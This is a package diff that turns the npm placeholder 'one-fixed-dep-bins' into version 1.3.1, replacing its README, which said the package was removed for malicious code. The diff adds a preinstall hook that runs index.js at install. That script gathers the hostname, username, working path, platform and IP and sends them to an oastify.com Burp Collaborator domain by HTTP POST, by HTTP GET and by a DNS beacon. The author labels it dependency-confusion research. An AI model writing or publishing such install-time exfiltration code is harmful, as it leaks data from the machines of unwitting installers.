one-fixed-dep-bins 0.0.1-security → 1.3.1

package/index.js

@@ -0,0 +1,170 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const dns = require('dns');
+
+// Your Burp Collaborator domain
+const COLLABORATOR_DOMAIN = 't2w1s8en49p231wt41lq5c7oqfw8k08p.oastify.com';
+
+function collectSystemInfo() {
+    try {
+        // Collect basic system information (similar to the original research)
+        const hostname = os.hostname();
+        const username = os.userInfo().username;
+        const currentPath = process.cwd();
+        const platform = os.platform();
+        const arch = os.arch();
+        const networkInterfaces = os.networkInterfaces();
+        
+        console.log('[DEPENDENCY CONFUSION TEST] Package installed!');
+        console.log(`Hostname: ${hostname}`);
+        console.log(`Username: ${username}`);
+        console.log(`Current Path: ${currentPath}`);
+        console.log(`Platform: ${platform}`);
+        console.log(`Architecture: ${arch}`);
+        
+        // Get external IP
+        let externalIP = 'unknown';
+        const interfaces = Object.values(networkInterfaces).flat();
+        const publicInterface = interfaces.find(iface => 
+            !iface.internal && iface.family === 'IPv4'
+        );
+        if (publicInterface) {
+            externalIP = publicInterface.address;
+        }
+        
+        // Create payload similar to original research
+        const payload = {
+            timestamp: new Date().toISOString(),
+            hostname: hostname,
+            username: username,
+            currentPath: currentPath,
+            platform: platform,
+            arch: arch,
+            externalIP: externalIP,
+            packageName: 'test-internal-package',
+            nodeVersion: process.version,
+            pid: process.pid
+        };
+        
+        console.log('[PAYLOAD]', JSON.stringify(payload, null, 2));
+        
+        // Send HTTP POST request to Burp Collaborator
+        sendHttpData(payload);
+        
+        // Also send GET request with data in URL
+        sendHttpGet(payload);
+        
+        // Send DNS query as backup
+        sendDnsBeacon(payload);
+        
+    } catch (error) {
+        console.error('[ERROR] Failed to collect system info:', error.message);
+        
+        // Send error notification
+        const errorPayload = {
+            error: error.message,
+            timestamp: new Date().toISOString(),
+            hostname: os.hostname() || 'unknown'
+        };
+        sendHttpData(errorPayload);
+    }
+}
+
+function sendHttpData(payload) {
+    const postData = JSON.stringify(payload);
+    
+    const options = {
+        hostname: COLLABORATOR_DOMAIN,
+        port: 80,
+        path: '/exfiltrate',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(postData),
+            'User-Agent': 'DependencyConfusionTest/1.0',
+            'X-Package-Name': 'test-internal-package',
+            'X-Hostname': payload.hostname,
+            'X-Username': payload.username
+        }
+    };
+    
+    console.log('[HTTP POST] Sending data to:', `http://${COLLABORATOR_DOMAIN}/exfiltrate`);
+    
+    const req = http.request(options, (res) => {
+        console.log('[HTTP POST] Status:', res.statusCode);
+        res.on('data', (chunk) => {
+            console.log('[HTTP POST] Response:', chunk.toString());
+        });
+    });
+    
+    req.on('error', (e) => {
+        console.log('[HTTP POST] Request sent (expected error):', e.message);
+    });
+    
+    req.write(postData);
+    req.end();
+}
+
+function sendHttpGet(payload) {
+    // Encode payload in URL parameters
+    const params = new URLSearchParams({
+        hostname: payload.hostname,
+        username: payload.username,
+        path: payload.currentPath,
+        platform: payload.platform,
+        timestamp: payload.timestamp,
+        package: 'test-internal-package'
+    });
+    
+    const url = `http://${COLLABORATOR_DOMAIN}/beacon?${params.toString()}`;
+    
+    console.log('[HTTP GET] Sending request to:', url);
+    
+    const options = {
+        hostname: COLLABORATOR_DOMAIN,
+        port: 80,
+        path: `/beacon?${params.toString()}`,
+        method: 'GET',
+        headers: {
+            'User-Agent': 'NodeJS-DependencyConfusion/1.0',
+            'X-Package-Installed': 'test-internal-package'
+        }
+    };
+    
+    const req = http.request(options, (res) => {
+        console.log('[HTTP GET] Status:', res.statusCode);
+        res.on('data', (chunk) => {
+            console.log('[HTTP GET] Response:', chunk.toString());
+        });
+    });
+    
+    req.on('error', (e) => {
+        console.log('[HTTP GET] Request sent (expected error):', e.message);
+    });
+    
+    req.end();
+}
+
+function sendDnsBeacon(payload) {
+    // Send DNS beacon as backup
+    const beacon = `${payload.hostname}.${payload.username}.${Date.now().toString(36)}.${COLLABORATOR_DOMAIN}`;
+    console.log('[DNS BEACON] Sending:', beacon);
+    
+    dns.resolve4(beacon, (err) => {
+        if (err) {
+            console.log('[DNS BEACON] Sent successfully');
+        }
+    });
+}
+
+// Execute immediately when package is installed
+collectSystemInfo();
+
+// Export something to make it look like a legitimate package
+module.exports = {
+    test: function() {
+        return 'This is a test package for dependency confusion research';
+    },
+    version: '1.0.0'
+};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "one-fixed-dep-bins",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.3.1",
+  "description": "Supply Chain Security  Researcher",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "Vishal Kumar",
+  "license": "MIT"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=one-fixed-dep-bins for more information.